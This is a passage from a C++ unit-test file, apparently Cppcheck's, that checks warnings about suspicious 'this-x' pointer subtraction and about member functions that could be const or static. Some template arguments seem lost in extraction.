checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, 